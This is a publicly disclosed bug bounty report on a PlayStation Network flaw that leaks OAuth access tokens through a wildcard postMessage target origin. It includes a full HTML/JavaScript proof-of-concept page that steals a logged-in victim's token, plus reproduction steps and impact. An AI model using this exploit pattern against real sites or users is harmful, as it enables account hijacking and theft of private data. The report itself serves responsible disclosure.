HexBrain

PlayStation · Report #826394

Authorization Token on PlayStation Network Leaks via postMessage function

Validstatus
highseverity
$1,000bounty
74upvotes
21 Nov 2020disclosed

Summary

Description

After some analysis on how playstation network authentication work, I came across a certain pattern of how authorization tokens are handled. The web application utilizes postMessage function to exchange authorization tokens between windows/frames.

To simplify this, let's follow on one of authorization flows. When you enter, https://my.playstation.com There is a request to

https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone%3Areport_submission%2Ckamaji%3Agame_list%2Ckamaji%3Aget_account_hash%2Cuser%3Aaccount.get%2Cuser%3Aaccount.profile.get%2Ckamaji%3Asocial_get_graph%2Ckamaji%3Augc%3Adistributor%2Cuser%3Aaccount.identityMapper%2Ckamaji%3Amusic_views%2Ckamaji%3Aactivity_feed_get_feed_privacy%2Ckamaji%3Aactivity_feed_get_news_feed%2Ckamaji%3Aactivity_feed_submit_feed_story%2Ckamaji%3Aactivity_feed_internal_feed_submit_story%2Ckamaji%3Aaccount_link_token_web%2Ckamaji%3Augc%3Adistributor_web%2Ckamaji%3Aurl_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https%3A%2F%2Fmy.playstation.com%2Fauth%2Fresponse.html%3FrequestID%3Diframe_request_57d5021b-c4d4-45ad-a8e9-99bf3cd11bb2%26baseUrl%3D%2F%26targetOrigin%3Dhttps%3A%2F%2Fmy.playstation.com&prompt=none

to get an authorization token for corresponding scopes in the above URL. If user is already authenticated and has permission for all of the scopes, the redirection will be made to redirect_uri which is https://my.playstation.com/auth/response.html?requestID=iframe_request_57d5021b-c4d4-45ad-a8e9-99bf3cd11bb2&baseUrl=/&targetOrigin=https://my.playstation.com&prompt=none

The request is made using an iframe and the token will be sent back via postMessage and the problem lies on how this authorization token is sent. Consider the javascript function (view source on above URL) responsible for sending token back.

function sendResponseToApp(a) {
    var b = extractFrameTypeFromRequestID(a.requestID),
        c = a.targetOrigin || getOrigin(),
        d = a.baseUrl || "",
        e = a.returnRoute || "",
        f = a.excludeQueryParams,
        g = !f && window.location.search || "";
    switch (b) {
        case "iframe":
            window.parent.postMessage(a, c);
            break;
        case "window":
            window.opener.postMessage(a, c);
            break;
        case "external":
        default:
            var h = constructUrl(c, d, e) + g;
            /^(https:\/\/)([a-z0-9\-]+\.)+(playstation\.com)(:([0-9]){4})?\//.test(h) ? window.location.href =
                h : window.location.href = "https://playstation.com/error"
    }
}
```

If the requestID starts with window, the token will be sent back to window.opener instead of window.parent and targetOrigin is controlled by user via GET parameter with the same name.

Therefore, if the authorization endpoint is opened from a malicious page via window.open and target origin is set to * (wildcard), the token will be sent back to malicious page.

Here is a PoC code I wrote to demonstrate this

```
<!Doctype HTML>
<html>
    <head>
        <title>PlayStation Authorization Token Leaks via postMessage</title>
    </head>
    <body>
        <script type="text/javascript">
        window.addEventListener("load", () => {
            document.getElementById("startBtn").addEventListener("click", () => {
                var x = window.open('https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone%3Areport_submission%2Ckamaji%3Agame_list%2Ckamaji%3Aget_account_hash%2Cuser%3Aaccount.get%2Cuser%3Aaccount.profile.get%2Ckamaji%3Asocial_get_graph%2Ckamaji%3Augc%3Adistributor%2Cuser%3Aaccount.identityMapper%2Ckamaji%3Amusic_views%2Ckamaji%3Aactivity_feed_get_feed_privacy%2Ckamaji%3Aactivity_feed_get_news_feed%2Ckamaji%3Aactivity_feed_submit_feed_story%2Ckamaji%3Aactivity_feed_internal_feed_submit_story%2Ckamaji%3Aaccount_link_token_web%2Ckamaji%3Augc%3Adistributor_web%2Ckamaji%3Aurl_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https%3A%2F%2Fmy.playstation.com%2Fauth%2Fresponse.html%3FrequestID%3Dwindow_request_57d5021b-c4d4-45ad-a8e9-99bf3cd11bb2%26baseUrl%3D%2F%26targetOrigin%3D*&prompt=none', 'mywindow');
                window.onmessage = (e) => {
                    document.getElementById("token-plate").innerText = JSON.stringify(e.data);
                }
            });
        });
        </script>
        <h1>PlayStation Authorization Token Leaks via postMessage</h1>
        <button id="startBtn" style='padding: 0.5em; font-size: 1.2em; width: 200px;'>Start</button>
        <div id="token-plate" style="margin: 1em; padding: 1.2em; border: 1px solid #ddd;">
            <em>Token Plate</em>
        </div>
        <footer>
            @nnez | HackerOne
        </footer>
    </body>
</html>
```

# Steps to Reproduce
Login on playstation network, maybe at https://my.playstation.com or https://store.playstation.com
Go to malicious page with provided code, or you can go to this PoC I hosted, http://nnez-poc.000webhostapp.com/e1f47833ad18d94a20780d81f8060c79.html
Click on start button, after the window is opened, navigate back and you will see access token in the box.

# Additional Notes
This also happened on other endpoints with the same code base such as

https://social.playstation.com/starblaster2/pdc/master/auth/response-6bd54237a5ffea223e2784fcd88c34e1.html?requestID=iframe_request_f179f207-79d8-4659-b1d4-f85e6c57a212&baseUrl=/starblaster2/pdc/master/&targetOrigin=https://store.playstation.com

but with different range of permission scopes.


# Impact
An authorization token on my.playstation.com would allow an attacker to impersonate as a victim, access to sensitive information, post on victim news feed
An authorization token on social.playstation.com would allow an attacker to impersonate as a victim, access to friends list and chat with victim's friends.

How it was found

The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original